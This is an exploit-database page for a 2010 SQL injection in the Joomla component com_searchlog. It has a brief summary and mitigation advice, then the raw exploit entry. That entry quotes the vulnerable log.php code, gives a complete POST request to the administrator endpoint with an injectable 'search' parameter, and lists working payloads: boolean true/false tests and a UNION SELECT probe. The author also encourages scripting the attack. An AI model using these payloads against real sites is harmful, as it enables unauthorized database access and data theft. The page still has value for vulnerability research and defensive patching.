header-logo
Suggest Exploit
vendor:
Joomla Component com_searchlog
by:
d0lc3
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Joomla Component com_searchlog
Affected Version From: 3.1.2000
Affected Version To: 3.1.2000
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Linux
2010

Joomla Component com_searchlog SQL Injection

The Joomla component com_searchlog is vulnerable to SQL Injection. The vulnerability is located in the 'log.php' file at line 30. An attacker can exploit this vulnerability by manipulating the 'search' parameter in a POST request. By injecting malicious SQL code, an attacker can manipulate the database and potentially gain unauthorized access or retrieve sensitive information.

Mitigation:

Update to the latest version of the Joomla component com_searchlog. Implement proper input validation and parameterized queries to prevent SQL Injection attacks.
Source

Exploit-DB raw data:

#Exploit Title:		Joomla Component com_searchlog SQL Injection

#Date:			05/06/2010 

#Author:		d0lc3	d0lc3x[at]gmail[dom]com

#Software Link:		http://www.kanich.net/radio/site/searchlog/searchlog-download

#Version:		3.1.0

#Tested on:		Linux ubuntu32 2.6.32-22-generic x64

#Summary:
	

	Good nights, at this occassion  we have other not-saned POST variable on 
	administrator/components/com_searchlog/models/log.php, line 30:
...
$search = $mainframe->getUserStateFromRequest($option . '.search', 'search', '', 'string');	//wtf!?
$this->filter_actid = $mainframe->getUserStateFromRequest($option .'actid','actid',0,'int');
$data->search = JString::strtolower($search);	//wtf!?
$callbase = JRequest::getInt('callbase', 1);
$newact =JRequest::getString('newact');
$data->newact = "";
if ($task=="" and $newact!="") {
$data->newact = $newact;
}if ($task == 'upload' or $task == 'savenew') {
$data->sort = 'dates';
$limitstart = 0;
}else {
$data->sort = JRequest::getVar('sort', 'calls');
}if ($data->search) {
$where[] = "(LOWER( m.call ) LIKE '$data->search%' OR LOWER( m.call ) LIKE '%/$data->search%')"; //likely SQLi
...

	In order to exploit it, i advice programming script for it :P but if only you want try vuln, to change POST request on HTTP header:

http://VICTIM/administrator/index.php?option=com_searchlog&act=log

POST /administrator/index.php?option=com_searchlog&act=log HTTP/1.1
Host: VICTIM
Content-Type: application/x-www-form-urlencoded
Content-Length: xxx
search=[SQLi]
&sort=calls&limit=20&limitstart=0&option=com_searchlog&act=log&task=&callbase=1&boxchecked=1&hidemainmenu=0

	Where [SQLi] = someLogExisting') and 1=1# => true
		       someLogExisting') and 1=2# => false

	UNION SQLi = someLogExisting') union select 1,2,3,4,5,6,7,8#



by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i